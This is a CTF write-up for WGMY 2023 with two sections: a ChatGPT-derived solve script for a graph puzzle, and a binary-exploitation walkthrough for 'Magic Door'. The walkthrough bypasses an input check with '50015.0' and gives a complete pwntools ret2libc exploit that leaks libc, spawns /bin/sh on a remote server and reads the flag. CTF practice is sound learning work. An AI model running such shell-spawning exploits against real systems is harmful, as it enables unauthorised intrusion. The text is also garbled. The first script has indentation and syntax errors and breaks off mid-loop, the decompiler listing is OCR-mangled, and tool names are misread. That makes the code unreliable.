# WGMY 2023 Writeup

## **PPC - Lokami Temple**

For this challenge, I just use ChatGPT and keep modifying the code to get the flag. Solve script:

```
from collections import defaultdict
def bfs(graph, start):
   visited, queue = set(), [start]
   distance = {start: 0}
   while queue:
       vertex = queue.pop(0)
       if vertex not in visited:
            visited.add(vertex)
            neighbors = graph[vertex] - visited
            for neighbor in neighbors:
                distance[neighbor] = distance[vertex] + 1
            queue.extend(neighbors)
    return distance
n = int(input().strip())
connections = [tuple(map(int, input().strip().split())) for _ in range(n - 1)]
graph = defaultdict(set)
for a, b in connections:
    graph[a].add(b)
   graph[b].add(a)
longest_paths = []
for door in range(1, n + 1):
    distances = bfs(graph, door)
    longest paths.append((max(distances.values()), door))
min_path_length = min(longest_paths, key=lambda x: x[0])[0]
entrances = sorted([x[1] for x in longest_paths if x[0] == min_path_length])
exits = set()
for entrance in entrances:
   distances = bfs(graph, entrance)
   for door, distance in distances.items():
```

## **PWN - Magic Door**

This is my first time solving hard (for me) PWN challenge and I'm quite happy that I solved it as compared to APU BoH 2023 PWN challenge (hard asf -.-). Do note that my knowledge are kinda limited and there might be something that I misinterpreted.

First thing first, we need to perform file check and checksec on the file.

```
magic_door: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=b2c5b2c9198914b2cf836a01366419a6a56adee1, for GNU/Linux 3.2.0, not
stripped
```

```
Arch: amd64-64-little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x400000)
```

Based on the result, we see NX enabled, means that we cannot use shellcode. We also see that it is not stripped which means that function names are visible to us. Next, we look at the binary in a decompiler. For me, I use Ghidra.

#### Decompile: open\_the\_door - (magic\_door) 1 2 void open the door(void) 3 4 5 int iVarl; 6 char input [12]; 7 int local\_c; 8 9 initialize(); 10 puts("Welcome to the Magic Door !"); 11 printf("Which door would you like to open? "); 12 \_\_isoc99\_scanf(&DAT\_004020c4,input); 13 getchar(); iVarl = strcmp(input, "50015"); if (iVarl == 0) { 15 16 no\_door\_foryou(); 17 18 else { 19 local\_c = atoi(input); 20 if (local\_c == 50015) { 21 magic door(50015); 22 } 23 else { 24 no\_door\_foryou(); 25 26 } 27 return: 28 } 29

We see that it is asking us for an input to open the magic door. If you input 50015 which can be seen in iVar1 == 0, it will exit the program.

To access the magic door, we can see that it is using atoi for our input and stored it in local\_c. If local\_c is equal to 50015, we can go into the magic\_door function. So, we cannot input 50015 but we also need the input to be 50015.

Hence, if the input is not exactly 50015, the program converts the input string to an integer using atoi(input). This is where the magic happens. To bypass this, when the input is 50015.0, atoi stops converting when it encounters the decimal point, so it only converts 50015 and ignores the .0 part. Therefore, local\_c will be assigned the value 50015.

```
😋 Decompile: magic_door - (magic_door)
2 void magic door(void)
3
4 {
5
    undefined8 local 48;
   undefined8 local 40;
7
    undefined8 local 38;
    undefined8 local 30;
    undefined8 local 28;
10
    undefined8 local_20;
11
    undefined8 local 18;
12
    undefined8 local 10;
13
14
    local_48 = 0;
    local_40 = 0;
15
    local_38 = 0;
16
    local_30 = 0;
17
    local_28 = 0;
18
    local 20 = 0;
19
20
    local 18 = 0;
21
    local_10 = 0;
22
    puts("Congratulations! You opened the magic door!");
    puts("Where would you like to go? ");
    fgets((char *)&local_48,256,stdin);
24
25
    return;
26}
27
```

Next, we see that there is a buffer overflow vulnerability in the fgets function. However, there is no interesting function in the symbol tree like the function that prints out the flag so ret2win is out of the question. Hence, we have to get the reverse shell by using the ret2libc attack.

First, we need to leak one of the libc address. Before that, we need to find out how much buffer is overflowing. I found the offset by typing cyclic -1 jaaaaaaa and it shows 72.

Since libc is not provided in the challenge, I use 1dd to get the correct libc version which is 1ibc.so.6. After that, I created a rop object and leak the libc in got.puts. After getting the address, I subtracted the got.puts offset to get to the base of the libc. Finally, I perform the syscall.

#### Solve script:

```
from pwn import *

elf = ELF("./magic_door",checksec=False)
context.arch = elf.arch

p = remote("13.229.84.41",10002)

libc = ELF("./libc.so.6",checksec=False)

# Create a ROP object to handle complexities
```

```
rop = ROP(elf)
# Payload to leak libc function
rop.puts(elf.got.puts)
rop.call(elf.sym.magic_door)
payload = flat(
   b"A" * 72,
   rop.chain()
)
p.sendlineafter(b"Which door would you like to open?",b"50015.0")
p.sendlineafter(b"Where would you like to go?",payload)
p.recvline()
# Get got.puts address
received = p.recvline()[:-1]
puts_leak = u64(received.ljust(8, b"\x00"))
# Subtract puts offset to get libc base
libc.address = puts_leak - libc.symbols["puts"]
# Reset ROP object with libc binary
rop2 = ROP(libc)
# Call ROP system, passing location of "/bin/sh" string
BINSH = next(libc.search(b"/bin/sh\x00"))
rop2.execve(BINSH,0,0)
payload2 = flat(
   b"A" * 72,
   rop2.chain()
)
p.sendlineafter(b"Where would you like to go?",payload2)
p.sendline(b"cat flag.txt")
p.interactive()
```